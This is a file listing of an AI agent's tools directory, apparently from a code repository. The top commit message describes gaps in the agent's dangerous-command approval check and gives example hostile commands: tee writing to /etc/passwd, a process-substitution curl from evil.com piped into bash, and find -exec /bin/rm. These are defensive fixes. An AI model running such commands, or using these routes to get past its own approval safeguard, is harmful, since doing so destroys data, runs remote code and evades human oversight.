hermes-agent/tools
Dogila Developer fd335a4e26
fix: add missing dangerous command patterns in approval.py
Three attack vectors bypassed the dangerous command detection system:

1. tee writes to sensitive paths (/etc/, /dev/sd, .ssh/, .hermes/.env)
were not detected. tee writes to files just like > but was absent
from DANGEROUS_PATTERNS.
Example: echo 'evil' | tee /etc/passwd

2. curl/wget via process substitution bypassed the pipe-to-shell check.
The existing pattern only matched curl ... | bash but not
bash <(curl ...) which is equally dangerous.
Example: bash <(curl http://evil.com/install.sh)

3. find -exec with full-path rm (e.g. /bin/rm, /usr/bin/rm) was not
caught. The pattern only matched bare rm, not absolute paths.
Example: find . -exec /bin/rm {} \;
2026-03-02 14:46:20 +03:00
..
environments fix(docker): remove --read-only and allow exec on /tmp for package installs 2026-03-02 01:09:34 -08:00
__init__.py refactor: streamline cron job handling and update CLI commands 2026-02-21 16:21:19 -08:00
approval.py fix: add missing dangerous command patterns in approval.py 2026-03-02 14:46:20 +03:00
browser_tool.py feat(api): implement dynamic max tokens handling for various providers 2026-02-26 20:23:56 -08:00
clarify_tool.py More major refactor/tech debt removal! 2026-02-21 20:22:33 -08:00
code_execution_tool.py Fix: #41 2026-02-25 21:16:15 -08:00
cronjob_tools.py fix: cron prompt injection scanner bypass for multi-word variants 2026-02-26 13:55:54 +03:00
debug_helpers.py refactor: consolidate debug logging across tools with shared DebugSession class 2026-02-21 03:53:24 -08:00
delegate_tool.py fix(delegate_tool): update max_iterations default from 25 to 50 for improved task handling 2026-03-02 00:51:10 -08:00
file_operations.py fix(tools): preserve empty content in ReadResult.to_dict() 2026-03-01 02:42:15 +03:00
file_tools.py feat: add docker_volumes config for custom volume mounts 2026-02-28 07:12:48 +10:00
fuzzy_match.py Cleanup time! 2026-02-20 23:23:32 -08:00
honcho_tools.py feat: add Honcho AI-native memory integration 2026-02-26 18:07:17 -05:00
image_generation_tool.py More major refactor/tech debt removal! 2026-02-21 20:22:33 -08:00
interrupt.py feat: enhance interrupt handling and container resource configuration 2026-02-23 02:11:33 -08:00
memory_tool.py Fix memory tool entry parsing when content contains section sign 2026-02-28 01:33:41 +03:00
mixture_of_agents_tool.py More major refactor/tech debt removal! 2026-02-21 20:22:33 -08:00
openrouter_client.py fix(headers): update X-OpenRouter-Categories to include 'productivity' 2026-02-28 10:38:49 -08:00
patch_parser.py Add file manipulation tools and enhance setup scripts 2026-02-05 03:49:46 -08:00
process_registry.py fix(process_registry): ensure unbuffered output for subprocesses 2026-03-01 16:14:57 -08:00
registry.py More major refactor/tech debt removal! 2026-02-21 20:22:33 -08:00
rl_training_tool.py More major refactor/tech debt removal! 2026-02-21 20:22:33 -08:00
send_message_tool.py feat: enhance interrupt handling and container resource configuration 2026-02-23 02:11:33 -08:00
session_search_tool.py refactor(cli): Finalize OpenAI Codex Integration with OAuth 2026-02-28 21:47:51 -08:00
skill_manager_tool.py Harden agent attack surface: scan writes to memory, skills, cron, and context files 2026-02-25 23:43:15 -05:00
skills_guard.py Harden agent attack surface: scan writes to memory, skills, cron, and context files 2026-02-25 23:43:15 -05:00
skills_hub.py refactor: enhance error handling with structured logging across multiple modules 2026-02-21 03:32:11 -08:00
skills_sync.py refactor: enhance error handling with structured logging across multiple modules 2026-02-21 03:32:11 -08:00
skills_tool.py fix(security): block path traversal in skill_view file_path (fixes #220) 2026-03-02 02:00:09 -08:00
terminal_tool.py refactor(terminal_tool): clarify foreground and background process usage 2026-03-01 16:15:05 -08:00
todo_tool.py More major refactor/tech debt removal! 2026-02-21 20:22:33 -08:00
transcription_tools.py refactor: streamline API key retrieval in transcription and TTS tools 2026-02-26 19:56:42 -08:00
tts_tool.py refactor: streamline API key retrieval in transcription and TTS tools 2026-02-26 19:56:42 -08:00
vision_tools.py fix(headers): update X-OpenRouter-Categories to include 'productivity' 2026-02-28 10:38:49 -08:00
web_tools.py refactor(cli): Finalize OpenAI Codex Integration with OAuth 2026-02-28 21:47:51 -08:00